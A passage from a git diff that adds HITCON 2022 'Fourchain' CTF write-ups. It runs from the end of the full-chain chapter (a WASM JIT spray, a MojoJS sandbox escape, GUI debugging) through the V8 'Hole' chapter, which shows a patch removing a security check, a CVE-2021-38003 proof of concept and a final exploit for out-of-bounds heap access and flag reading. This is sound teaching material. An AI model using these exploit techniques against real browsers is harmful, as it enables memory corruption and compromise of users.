]────────────────────────────────────────────────────────────── + RAX 0x0 +*RBX 0x5554dff173b8 ◂— cmp eax, dword ptr [r13 + 0x220] +*RCX 0x42424242 +*RDX 0x41414141 +*RDI 0x555556a1f080 —▸ 0x555556a1f030 ◂— 0x0 +*RSI 0x3ae300199219 ◂— 0x590000225900195f +*R8 0x4011f608d37 +*R9 0x7fffffffd348 —▸ 0x3ae300199315 ◂— 0xc90019930100002f /* '/' */ +*R10 0x7ffff7fbd080 +*R11 0x7ffff7fbd090 +*R12 0x2 +*R13 0x5555569b2420 —▸ 0x3ae300000000 ◂— 0xb000 +*R14 0x3ae300000000 ◂— 0xb000 +*R15 0x303536423710 ◂— shl rax, 0x20 /* 0xbeb909020e0c148 */ +*RBP 0x7fffffffd390 —▸ 0x7fffffffd420 —▸ 0x7fffffffd508 —▸ 0x7fffffffd560 —▸ 0x7fffffffd588 ◂— ... +*RSP 0x7fffffffd310 —▸ 0x5554dff10256 ◂— lea rsp, [rbp - 0x48] +*RIP 0x303536423736 ◂— mov dword ptr [rdx], ecx /* 0xbeb909090c30a89 */ +───────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────── + ► 0x303536423736 mov dword ptr [rdx], ecx + 0x303536423738 ret +``` + +Except, there is a slight problem. The code pointer that we are overwriting only seems to be used once, the first time a function in that WASM instance is called. After that it's not used anymore and the JIT spray doesn't work. This probably has to do with lazy compilation. Creating a new WASM instance every time we want to read or write *almost* works, but not quite. It seems that V8 *also* has a cache of compiled WASM bytecode, so if we attempt to create two completely different WASM modules that use the same bytecode it will only compile the code once, so the JIT spray attack only works on the first. + +Our solution was simply to change the WASM bytecode every time we create a new instance. We just selected some byte that didn't appear to have an effect on the shellcode when changed and wrote some JavaScript that increments that byte every time we create a new WASM instance. Very hacky but it works. + +Now that we have arbitrary R/W in the renderer process we just need to leak the base of the `chrome` binary and enable MojoJS. There are probably tons of ways to do this, we used a pointer inside the WASM code page. + +After toggling the MojoJS flag we just have to reload the page and we will have MojoJS, so we can run the Sandbox exploit from before. + +The final exploit html can be found at the end of this page. + +## GUI Troubles + +Since we just had too much fun solving these challenges, we decided to go all out for the writeup and make the exploit work while running everything with a GUI (i.e. like a person normally would). +In theory of course, this should have been a cake walk and it would only require us to install the GUI packages everywhere and set the corresponding settings / flags. +Unfortunately, it was not that easy. + +Installing the GUI was already quite tricky and I had to setup a completely new VM for it, since installing it on my droplet resulted in all network connections being dropped. +This proved to be a bit tricky, due to wanting to use a VM in VM setup (so I don't accidentally mess up my actual system). +This meant I had to use nested virtualization which should be supported by VirtualBox out of the box. +My host OS was Windows, since that was the machine I had lying around with nested virtualization supported. +It took many restarts and convincing Windows that I did not need any kind of safety features to disable Hyper-V and get nested virtualization in VirtualBox working. +Now I only had to get Chrome working with a GUI, which turned out to be a bit of a pain as well. +The build provided by the challenge authors unfortunately did not have the necessary resources and e.g. the crash handler. +Thankfully, Nspace did a local compile of the patched Chrome for local debugging and I was able to get the GUI working by copying over random files from his build. + +Once that was out of the way, I could finally start. +After some very minor tweaking, the last two steps worked quite well again, even with the GUI. +However, the first two stages were not working at all. +The first stage, was failing to leak the code pointer and it turns out that the read outside the V8 sandbox was broken. +I wasted quite some time here until I finally (grudgingly) installed gdb in the inner VM and attached to chrome. +It turns out, that my new setup was using different instructions (likely due to being an AMD CPU) for compiling the WASM code and hence the offset used had to change. +Once that was fixed, the first stage was working again. + +The second stage was still broken though and would always crash at the same place with similar register contents: + +```cpp +Received signal 11 000000000000 +#0 0x55fa415d15b2 base::debug::CollectStackTrace() +#1 0x55fa41537783 base::debug::StackTrace::StackTrace() +#2 0x55fa415d10d1 base::debug::(anonymous namespace)::StackDumpSignalHandler() +#3 0x7f2179098140 (/usr/lib/x86_64-linux-gnu/libpthread-2.31.so+0x1313f) +#4 0x55fa3fd520e4 content::SandboxImpl::Pour() +#5 0x55fa41584f81 base::TaskAnnotator::RunTaskImpl() +#6 0x55fa4159d2cd base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl() +#7 0x55fa4159cbbf base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() +#8 0x55fa4159da55 base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() +#9 0x55fa415f8193 base::MessagePumpEpoll::Run() +#10 0x55fa4159ddab base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run() +#11 0x55fa41563db9 base::RunLoop::Run() +#12 0x55fa415bd098 base::Thread::Run() +#13 0x55fa3f6d8a60 content::BrowserProcessIOThread::IOThreadRun() +#14 0x55fa415bd1b7 base::Thread::ThreadMain() +#15 0x55fa415e494f base::(anonymous namespace)::ThreadFunc() +#16 0x7f217908cea7 start_thread +#17 0x7f21780afa2f clone + r8: 00001b6802012300 r9: 00007f217080e06f r10: 0000000000010001 r11: 0000000000000001 + r12: 00001b68010c7c20 r13: 0000000000000800 r14: 00001b68010c6c00 r15: efefefefefefefef + di: 000055fa47c6ccc8 si: 00001b6801f32300 bp: 00007f217080e140 bx: 00001b6801cc8000 + dx: 0000000000000800 ax: 00001b6802012b20 cx: 0000000000000000 sp: 00007f217080e0f0 + ip: 000055fa3fd520e4 efl: 0000000000010282 cgf: 002b000000000033 erf: 0000000000000000 + trp: 000000000000000d msk: 0000000000000000 cr2: 0000000000000000 +[end of stack trace] +Segmentation fault +``` + +Looking at the assembly, the culprit was R15. +I compared the crashlog to one without GUI and there the exploit would always succeed or R15 was null or `0x20`. +I realized, that when the GUI was enabled, there must be some UAF detection happening, by memsetting free'd chunks to `0xef`. +After scouring the chromium codebase for a few hours (and wasting a lot of time trying to make it work with different timings of the race), I finally figured out that it is their new partition allocator: + +```cpp + // TODO(keishi): Add PA_LIKELY when brp is fully enabled as |brp_enabled| will + // be false only for the aligned partition. + if (brp_enabled()) { + auto* ref_count = internal::PartitionRefCountPointer(slot_start); + // If there are no more references to the allocation, it can be freed + // immediately. Otherwise, defer the operation and zap the memory to turn + // potential use-after-free issues into unexploitable crashes. + if (PA_UNLIKELY(!ref_count->IsAliveWithNoKnownRefs() && + brp_zapping_enabled())) + internal::SecureMemset(object, internal::kQuarantinedByte, + slot_span->GetUsableSize(this)); +``` + +I did not figure out whether this is just not enabled when running with `--headless` or the GUI just causes the memset to happen due to other factors. +In the end, I decided to just disable the new allocator with a command line flag[^4]. + +With all of that fixed, the exploit finally worked when running under a GUI and we were able to capture this glorious video :P (I recommend you turn on sound): + + + +[^4]: Yeah this is kinda cheating, but then again, the challenge was not made with this in mind and I also had to finish this writeup at some point :P. Also I forgot the command line flag, so if you came here looking for that, sorry :/. + + +## Final Exploit HTML + +```html + + + + + + + + + +``` + +`hitcon{G00dbY3_1_4_O_h3LL0_Pwn_2_Own_BTW_vB0x_Y_U_N0_SM3P_SM4P_??!!}` + +## Table of Contents + +- [Prologue](./fourchain-prologue): Introduction +- [Chapter 1: Hole](./fourchain-hole): Using the "hole" to pwn the V8 heap and some delicious Swiss cheese. +- [Chapter 2: Sandbox](./fourchain-sandbox): Pwning the Chrome Sandbox using `Sandbox`. +- [Chapter 3: Kernel](./fourchain-kernel): Chaining the Cross-Cache Cred Change +- [Chapter 4: Hypervisor](./fourchain-hv): Lord of the MMIO: A Journey to IEM +- **[Chapter 5: One for All](./fourchain-fullchain) (You are here)** +- [Epilogue](./fourchain-epilogue): Closing thoughts \ No newline at end of file diff --git a/HITCON-2022/pwn/fourchain-hole.html b/HITCON-2022/pwn/fourchain-hole.html new file mode 100755 index 0000000..6d2c674 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-hole.html @@ -0,0 +1,676 @@ + + + + + +Fourchain - Hole | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Fourchain - Hole

+ +

Authors: Nspace

+ +

Tags: pwn, browser, v8

+ +

Points: 268

+ +
+

There’s a hole in the program ? +Well I’m sure it’s not that of a big deal, after all it’s just a small hole that won’t do any damage right ? +… Right 😨 ?

+
+ +

Analysis

+ +

NOTE: this writeup assumes some familiarity with V8 internals such as how objects are laid out in memory, pointer compression, and pointer tagging.

+ +

The challenge gives us patched d8, built from v8 commit 63cb7fb817e60e5633fb622baf18c59da7a0a682. There are two patch files included in the challenge:

+ +

add_hole.patch

+
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
+index 6e0cd408e7..aafdfb8544 100644
+--- a/src/builtins/builtins-array.cc
++++ b/src/builtins/builtins-array.cc
+@@ -395,6 +395,12 @@ BUILTIN(ArrayPush) {
+   return *isolate->factory()->NewNumberFromUint((new_length));
+ }
+ 
++BUILTIN(ArrayHole){
++    uint32_t len = args.length();
++    if(len > 1) return ReadOnlyRoots(isolate).undefined_value();
++    return ReadOnlyRoots(isolate).the_hole_value();
++}
++
+ namespace {
+ 
+ V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate,
+diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
+index 78b0229011..55aaaa03df 100644
+--- a/src/builtins/builtins-collections-gen.cc
++++ b/src/builtins/builtins-collections-gen.cc
+@@ -1763,7 +1763,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
+                          "Map.prototype.delete");
+ 
+   // This check breaks a known exploitation technique. See crbug.com/1263462
+-  CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
++  //CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+ 
+   const TNode<OrderedHashMap> table =
+       LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
+diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
+index 0e98586f7f..28a46f2856 100644
+--- a/src/builtins/builtins-definitions.h
++++ b/src/builtins/builtins-definitions.h
+@@ -413,6 +413,7 @@ namespace internal {
+   TFJ(ArrayPrototypeFlat, kDontAdaptArgumentsSentinel)                         \
+   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
+   TFJ(ArrayPrototypeFlatMap, kDontAdaptArgumentsSentinel)                      \
++  CPP(ArrayHole)                                                               \
+                                                                                \
+   /* ArrayBuffer */                                                            \
+   /* ES #sec-arraybuffer-constructor */                                        \
+diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
+index 79bdfbddcf..c42ad4c789 100644
+--- a/src/compiler/typer.cc
++++ b/src/compiler/typer.cc
+@@ -1722,6 +1722,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
+       return Type::Receiver();
+     case Builtin::kArrayUnshift:
+       return t->cache_->kPositiveSafeInteger;
++    case Builtin::kArrayHole:
++      return Type::Oddball();
+ 
+     // ArrayBuffer functions.
+     case Builtin::kArrayBufferIsView:
+diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
+index 9040e95202..a77333287a 100644
+--- a/src/init/bootstrapper.cc
++++ b/src/init/bootstrapper.cc
+@@ -1800,6 +1800,7 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
+                           Builtin::kArrayPrototypeFindIndex, 1, false);
+     SimpleInstallFunction(isolate_, proto, "lastIndexOf",
+                           Builtin::kArrayPrototypeLastIndexOf, 1, false);
++    SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false);
+     SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop,
+                           0, false);
+     SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,
+
+
+ +

d8_strip_global.patch

+
diff --git a/src/d8/d8-posix.cc b/src/d8/d8-posix.cc
+index c2571ef3a01..e4f27cfdca6 100644
+--- a/src/d8/d8-posix.cc
++++ b/src/d8/d8-posix.cc
+@@ -734,6 +734,7 @@ char* Shell::ReadCharsFromTcpPort(const char* name, int* size_out) {
+ }
+ 
+ void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
++/*    
+   if (options.enable_os_system) {
+     os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
+   }
+@@ -748,6 +749,7 @@ void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
+                 FunctionTemplate::New(isolate, MakeDirectory));
+   os_templ->Set(isolate, "rmdir",
+                 FunctionTemplate::New(isolate, RemoveDirectory));
++*/
+ }
+ 
+ }  // namespace v8
+diff --git a/src/d8/d8.cc b/src/d8/d8.cc
+index c6bacaa732f..63b3c9c27e8 100644
+--- a/src/d8/d8.cc
++++ b/src/d8/d8.cc
+@@ -3266,6 +3266,7 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {}
+ 
+ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
+   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
++  /*
+   global_template->Set(Symbol::GetToStringTag(isolate),
+                        String::NewFromUtf8Literal(isolate, "global"));
+   global_template->Set(isolate, "version",
+@@ -3284,6 +3285,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
+                        FunctionTemplate::New(isolate, ReadLine));
+   global_template->Set(isolate, "load",
+                        FunctionTemplate::New(isolate, ExecuteFile));
++  */
+   global_template->Set(isolate, "setTimeout",
+                        FunctionTemplate::New(isolate, SetTimeout));
+   // Some Emscripten-generated code tries to call 'quit', which in turn would
+@@ -3456,6 +3458,7 @@ Local<FunctionTemplate> Shell::CreateSnapshotTemplate(Isolate* isolate) {
+ }
+ Local<ObjectTemplate> Shell::CreateD8Template(Isolate* isolate) {
+   Local<ObjectTemplate> d8_template = ObjectTemplate::New(isolate);
++  /*
+   {
+     Local<ObjectTemplate> file_template = ObjectTemplate::New(isolate);
+     file_template->Set(isolate, "read",
+@@ -3538,6 +3541,7 @@ Local<ObjectTemplate> Shell::CreateD8Template(Isolate* isolate) {
+                               Local<Signature>(), 1));
+     d8_template->Set(isolate, "serializer", serializer_template);
+   }
++  */
+   return d8_template;
+ }
+
+ +

The second patch, d8_strip_global.patch is simply removing some builtin functions that programs running in d8 normally have access to. These functions let a JavaScript program do things like open and read files, and they would trivialize the challenge if our exploit could use them. This is pretty standard for V8 challenges.

+ +

The first patch, add_hole.patch, is the interesting part. It adds a new method called hole to Array.prototype. The new method is implemented as a C++ builtin, in the function ArrayHole. The function doesn’t do much, and just returns a special value called the_hole.

+ +

the_hole in V8 is a special object that the engine uses internally to represent the absence of a value. For example, when a JavaScript program creates a sparse array, V8 stores the_hole in all uninitialized array slots.

+ +
const a = [1, 2];
+a[9] = 3; 
+%DebugPrint(a);
+
+ +
DebugPrint: 0x2ef200108b7d: [JSArray]
+ - elements: 0x2ef200108b8d <FixedArray[31]> [HOLEY_SMI_ELEMENTS]
+ - length: 10
+ - elements: 0x2ef200108b8d <FixedArray[31]> {
+           0: 1
+           1: 2
+         2-8: 0x2ef200002459 <the_hole>
+           9: 3
+       10-30: 0x2ef200002459 <the_hole>
+ }
+
+ +

the_hole is an implementation detail that is not part of the JS standard and is normally invisible to JS code. For example if a program tries to access a slot that contains the_hole in a sparse array, the access returns undefined and not the_hole.

+ +
const a = [1, 2];
+a[9] = 3; 
+console.log(a[8]);
+
+
undefined
+
+ +

The author’s patch adds a way to get a reference to this normally inaccessible object from JS code. This is interesting from a security perspective because it’s likely that many of the built-in functions don’t expect to be passed the_hole as an argument and might misbehave when that happens. For example the following snippet crashes d8:

+ +
const the_hole = [].hole();
+the_hole.toString()
+
+ +

The patch also comments out some code that references a bug in Chromium’s bug tracker. The bug describes how a reference to the_hole can be used to cause memory corruption.

+ +
+

It appears that a leaked TheHole value can be used to cause memory corruption due to special handling of TheHole values in JSMaps:

+ +
   var map = new Map();
+   map.set(1, 1);
+   map.set(hole, 1);
+   // Due to special handling of hole values, this ends up setting the size of the map to -1
+   map.delete(hole);
+   map.delete(hole);
+   map.delete(1);
+
+   // Size is now -1
+   //print(map.size);
+
+   // Set values in the map, which presumably ends up corrupting data in front of
+   // the map storage due to the size being -1
+   for (let i = 0; i < 100; i++) {
+       map.set(i, 1);
+   }
+
+  // Optionally trigger heap verification if the above didn't already crash
+  //gc();
+
+ +

I haven’t verified exactly why this happens, but my guess is that because the TheHole value is used by JSMaps to indicate deleted entries [8], when the code deletes TheHole for the second time, it effectively double-deletes an entry and so decrements the size twice. +[8] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/builtins-collections-gen.cc;l=1770;drc=1c3085e26a408adb53645f9b5d12fa9f3803df3c

+
+ +

The check that the challenge author commented out was introduced in response to this bug and breaks the exploitation technique described above. This makes it pretty clear that that’s how the author wants us to solve the challenge.

+ +

Exploitation

+ +

The exploit described in the chromium bug uses the_hole to set the length of a JavaScript map to -1. In order to understand what primitives that gives us we first have to find the code that implements the map object and understand how it works.

+ +

JSMap, the C++ object that represents a JavaScript map is declared in js-collection.tq and it is basically the same as a JSCollection. JSCollection only has one field, called table which points to the backing hash table. Sadly the field has type Object which can point to any JavaScript object. Not very useful. Looking for references to the generated method JSCollection::table() we find some code that indicates that table is actually of type OrderedHashMap. OrderedHashMap is itself a subclass of OrderedHashTable, which has a detailed comment describing how the contents of the table are laid out in memory. Cool!

+ +

The memory layout of a OrderedHashTable (and OrderedHashMap) is this:

+ +
[0]: element count
+[1]: deleted element count
+[2]: bucket count
+[3..(3 + NumberOfBuckets() - 1)]: "hash table",
+                         where each item is an offset into the
+                         data table (see below) where the first
+                         item in this bucket is stored.
+[3 + NumberOfBuckets()..length]: "data table", an
+                         array of length Capacity() * 3,
+                         where the first entrysize items are
+                         handled by the derived class and the
+                         item at kChainOffset is another entry
+                         into the data table indicating the next
+                         entry in this hash bucket.
+
+ +

In our case each element consists of two JavaScript values (the key and the value), so entrysize = 2 and each entry in the hash table will be 3 words (12 bytes) long (key, value, next element).

+ +

In some circumstances the runtime can decide to declare the OrderedHashTable obsolete and create a new version. For example that can happen when too many elements are deleted from the table and the occupancy becomes too low. In that case the first word of the old table is not the element count but rather a pointer to the new OrderedHashTable. We can distinguish between the two by looking at the tag of the first word of the map. A Smi indicates that the map is active, and a pointer indicates that it’s obsolete.

+ +

The layout described above is also prefixed with a pointer to a Map object and with the overall size of the map (in words, which in this case are 4 bytes). The table’s total size is stored right after the map because OrderedHashTable derives from FixedArray, which has a length field. I am pretty sure that this is redundant because the size of the OrderdHashTable is always equal to 3 + num_buckets * 7 but maybe it is stored explicitly to help the GC.

+ +

The value that the exploit in the Chromium bug sets to -1 is the element count (as we can see in the code here, linked to in the bug). We can verify that this is the case by running the code from the Chromium bug and then printing the memory of the map in GDB.

+ +
let hole = [].hole();
+let map = new Map();
+
+map.set(1, 1);
+map.set(hole, 1);
+map.delete(hole);
+map.delete(hole);
+map.delete(1);
+
+%DebugPrint(map);
+%SystemBreak();
+
+
0x1f0400048c7d <Map map = 0x1f04001855f5>
+Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
+
+pwndbg> x/4wx 0x1f0400048c7c
+                   /*  map            properties      elements       table */
+0x1f0400048c7c:	0x001855f5	0x00002259	0x00002259	0x00048c8d
+pwndbg> x/4wx 0x1f0400048c8c
+                   /*  map            length          next table     deleted element count */
+0x1f0400048c8c:	0x00002c29	0x00000022	0x00048cd9    	0x00000004
+pwndbg> x/4wx 0x1f0400048cd8
+                   /*  map            length          next table     deleted element count */
+0x1f0400048cd8:	0x00002c29	0x00000022	0x00048d25     0x00000002
+pwndbg> x/4wx 0x1f0400048d24
+                   /*  map            length          element count  deleted element count */
+0x1f0400048d24:	0x00002c29	0x00000022	0xfffffffe     0x00000000
+
+ +

As we can see the element count is indeed -1 (whose tagged representation is 0xfffffffe).

+ +

Now how do we exploit this? I searched online for the CVE number referenced in the Chromium bug report (CVE-2021-38003) and found this article by Numen Cyber Labs which has some more details on how to exploit the vulnerability. The article provides a PoC exploit which sets the length of an array to 0xffff.

+ +
let hole = [].hole();
+let map = new Map();
+map.set(1, 1);
+map.set(hole, 1);
+map.delete(hole);
+map.delete(hole);
+map.delete(1);
+let a = new Array(1.1, 1.1);
+
+map.set(0x10, -1);
+map.set(a, 0xffff);
+console.log(a.length);
+
+ +

The way the exploit works is by overwriting the bucket count in the OrderedHashMap with 0x10, which then makes the next insertion into the map write out of bounds. To see why, let’s take a look at the code that implements map insertion. I will include a simplified and commented version here for convenience.

+ +
TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) {
+  // ...
+
+  BIND(&add_entry);
+  TVARIABLE(IntPtrT, number_of_buckets);
+  TVARIABLE(IntPtrT, occupancy);
+  TVARIABLE(OrderedHashMap, table_var, table);
+  {
+    // Check we have enough space for the entry.
+    number_of_buckets = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
+        table, OrderedHashMap::NumberOfBucketsIndex())));
+
+    static_assert(OrderedHashMap::kLoadFactor == 2);
+    // capacity = number_of_buckets * 2
+    const TNode<WordT> capacity = WordShl(number_of_buckets.value(), 1);
+    // Read the number of elememts.
+    const TNode<IntPtrT> number_of_elements = SmiUntag(
+        CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())));
+    // Read the number of deleted elements.
+    const TNode<IntPtrT> number_of_deleted = SmiUntag(CAST(LoadObjectField(
+        table, OrderedHashMap::NumberOfDeletedElementsOffset())));
+    // occupancy = number_of_elements + number_of_deleted
+    occupancy = IntPtrAdd(number_of_elements, number_of_deleted);
+    GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry);
+
+    // ...
+  }
+  BIND(&store_new_entry);
+  // Store the key, value and connect the element to the bucket chain.
+  StoreOrderedHashMapNewEntry(table_var.value(), key, value,
+                              entry_start_position_or_hash.value(),
+                              number_of_buckets.value(), occupancy.value());
+  Return(receiver);
+}
+
+void CollectionsBuiltinsAssembler::StoreOrderedHashMapNewEntry(
+    const TNode<OrderedHashMap> table, const TNode<Object> key,
+    const TNode<Object> value, const TNode<IntPtrT> hash,
+    const TNode<IntPtrT> number_of_buckets, const TNode<IntPtrT> occupancy) {
+
+  // bucket = hash & (number_of_buckets - 1)
+  const TNode<IntPtrT> bucket =
+      WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1)));
+  // bucket_entry = table[3 + bucket]
+  // this is the index in the data table at which the bucket begins
+  TNode<Smi> bucket_entry = CAST(UnsafeLoadFixedArrayElement(
+      table, bucket, OrderedHashMap::HashTableStartIndex() * kTaggedSize));
+
+  // Store the entry elements.
+  // entry_start = occupancy * 3 + number_of_buckets
+  const TNode<IntPtrT> entry_start = IntPtrAdd(
+      IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)),
+      number_of_buckets);
+
+  // table[3 + number_of_buckets + occupancy * 3] = key
+  UnsafeStoreFixedArrayElement(
+      table, entry_start, key, UPDATE_WRITE_BARRIER,
+      kTaggedSize * OrderedHashMap::HashTableStartIndex());
+  // table[3 + number_of_buckets + occupancy * 3 + 1] = value
+  UnsafeStoreFixedArrayElement(
+      table, entry_start, value, UPDATE_WRITE_BARRIER,
+      kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
+                     OrderedHashMap::kValueOffset));
+  // table[3 + number_of_buckets + occupancy * 3 + 2] = bucket_entry
+  UnsafeStoreFixedArrayElement(
+      table, entry_start, bucket_entry,
+      kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
+                     OrderedHashMap::kChainOffset));
+
+  // Update the bucket head.
+  // table[3 + bucket] = occupancy
+  UnsafeStoreFixedArrayElement(
+      table, bucket, SmiTag(occupancy),
+      OrderedHashMap::HashTableStartIndex() * kTaggedSize);
+
+  // Bump the elements count.
+  // table[0]++
+  const TNode<Smi> number_of_elements =
+      CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset()));
+  StoreObjectFieldNoWriteBarrier(table,
+                                 OrderedHashMap::NumberOfElementsOffset(),
+                                 SmiAdd(number_of_elements, SmiConstant(1)));
+}
+
+ +

After setting number_of_elements to -1 the exploit inserts (0x10, -1) into the table. number_of_buckets is 2 which is the default for new tables. number_of_deleted is 0 because the table got shrunk twice (visible in the memory dump from the previous point), so occupancy will also be -1. The newly-inserted entry is 3 words long and is stored at table[3 + number_of_buckets + occupancy * 3] which in this case is equal to table[2]. That means that the key (0x10) will overwrite the bucket count. The value (-1) will overwrite the pointer to the first bucket, which is fine because -1 indicates an empty bucket. Finally, the element count is incremented, to 0.

+ +

The next time the exploit inserts (a, 0xffff) into the table. This time occupancy is 0 but number_of_buckets is 16, so the new entry gets written at table[19], which is 3 words after the end of the table. This works and doesn’t crash because the code uses UnsafeStoreFixedArrayElement, which does not emit a bounds check to store the entries into the table. So even though the length of the FixedArray that backs the table is known, it’s not checked when inserting new elements.

+ +

The exploit allocates a JavaScript array right after the map, so the new entry will be written 8 bytes into the object that represents this array. The memory layout of a JSArray is the following:

+ +
map: Map
+properties_or_hash: FixedArray
+elements: FixedArray
+length: Number
+
+ +

The inserted pair overwrites elements with the address of the array itself and length with 0xffff. This gives us an arbitrary out-of-bounds read and write on the JavaScript heap.

+ +

V8 Sandbox

+ +

Recent versions of V8 enable the V8 sandbox by default. The goal of the V8 sandbox is to prevent an attacker that has gained arbitrary read and write on the JavaScript heap from corrupting other memory and getting arbitrary code execution in the V8 process. To get the flag we either need to find a bypass for the sandbox. Or we could find a way to get the flag into the sandbox instead.

+ +

As luck would have it, there is a function in d8 which does exactly that and that the author’s patch doesn’t remove from the globals.

+ +

d8 exposes a Realm object which has a function called Realm.eval that can load other JavaScript files. The implementation is here and calls Shell::ReadSource, which in turn calls Shell::ReadFile. This doesn’t directly give us access to the contents of the file that we’re loading but it will still load its contents onto the JavaScript heap, where we can read it using our OOB array. This completely bypasses the need for a V8 sandbox escape as long as we know where the flag is located. By reading /etc/passwd we can see that there is a user called ctf on the server, so we can try /home/ctf/flag. By sheer luck our guess was correct and we could use this method to read the flag.

+ +

hitcon{tH3_xPl01t_n0_l0ng3r_wOrk_aF+3r_66c8de2cdac10cad9e622ecededda411b44ac5b3_:((}

+ +

Final exploit

+ +
// Utilities to convert between representations
+let f64view = new Float64Array(1);
+let u8view = new Uint8Array(f64view.buffer);
+
+let hole = [].hole();
+let map = new Map();
+map.set(1, 1);
+map.set(hole, 1);
+map.delete(hole);
+map.delete(hole);
+map.delete(1);
+let a = new Array(1.1, 1.1);
+
+map.set(0x10, -1);
+map.set(a, 0xffff);
+
+// Load the contents of the flag into the heap
+try {
+    Realm.eval(0, '/home/ctf/flag', {type: 'classic'});
+} catch (e) {
+    console.log(e);
+}
+
+// Dump the heap
+for (let i = 0; i < 1000; i++) {
+    f64view[0] = a[i];
+    console.log(String.fromCharCode(...u8view));
+}
+
+ +
from pwn import *
+import subprocess
+
+HOST = '35.227.151.88'
+PORT = 30262
+
+pow_re = re.compile(rb'hashcash -mb25 ([a-zA-Z0-9]+)')
+
+r = remote(HOST, PORT)
+r.recvline()
+challenge = r.recvline()
+print(challenge)
+match = pow_re.search(challenge).group(1).strip()
+response = subprocess.check_output(['hashcash', '-mb25', match]).strip()
+r.sendline(response)
+
+exploit = read('pwn.js')
+
+r.sendlineafter(b'Your javscript file size: ( MAX: 2000 bytes )', str(len(exploit)).encode())
+r.sendlineafter(b'Input your javascript file:', exploit)
+
+s = r.recvall(timeout=1).replace(b"\n", b"").decode()
+print(re.findall(r'hitcon\{[ -~]+\}', s))
+
+ +

Table of Contents

+ + + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2022/pwn/fourchain-hole.md b/HITCON-2022/pwn/fourchain-hole.md new file mode 100755 index 0000000..a8e6204 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-hole.md @@ -0,0 +1,487 @@ +# Fourchain - Hole + +**Authors:** [Nspace](https://twitter.com/_MatteoRizzo) + +**Tags:** pwn, browser, v8 + +**Points:** 268 + +> There's a hole in the program ? +> Well I'm sure it's not that of a big deal, after all it's just a small hole that won't do any damage right ? +> ... Right 😨 ? + +## Analysis + +NOTE: this writeup assumes some familiarity with V8 internals such as how objects are laid out in memory, pointer compression, and pointer tagging. + +The challenge gives us patched d8, built from v8 commit `63cb7fb817e60e5633fb622baf18c59da7a0a682`. There are two patch files included in the challenge: + +`add_hole.patch` +```diff +diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc +index 6e0cd408e7..aafdfb8544 100644 +--- a/src/builtins/builtins-array.cc ++++ b/src/builtins/builtins-array.cc +@@ -395,6 +395,12 @@ BUILTIN(ArrayPush) { + return *isolate->factory()->NewNumberFromUint((new_length)); + } + ++BUILTIN(ArrayHole){ ++ uint32_t len = args.length(); ++ if(len > 1) return ReadOnlyRoots(isolate).undefined_value(); ++ return ReadOnlyRoots(isolate).the_hole_value(); ++} ++ + namespace { + + V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate, +diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc +index 78b0229011..55aaaa03df 100644 +--- a/src/builtins/builtins-collections-gen.cc ++++ b/src/builtins/builtins-collections-gen.cc +@@ -1763,7 +1763,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) { + "Map.prototype.delete"); + + // This check breaks a known exploitation technique. See crbug.com/1263462 +- CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant())); ++ //CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant())); + + const TNode table = + LoadObjectField(CAST(receiver), JSMap::kTableOffset); +diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h +index 0e98586f7f..28a46f2856 100644 +--- a/src/builtins/builtins-definitions.h ++++ b/src/builtins/builtins-definitions.h +@@ -413,6 +413,7 @@ namespace internal { + TFJ(ArrayPrototypeFlat, 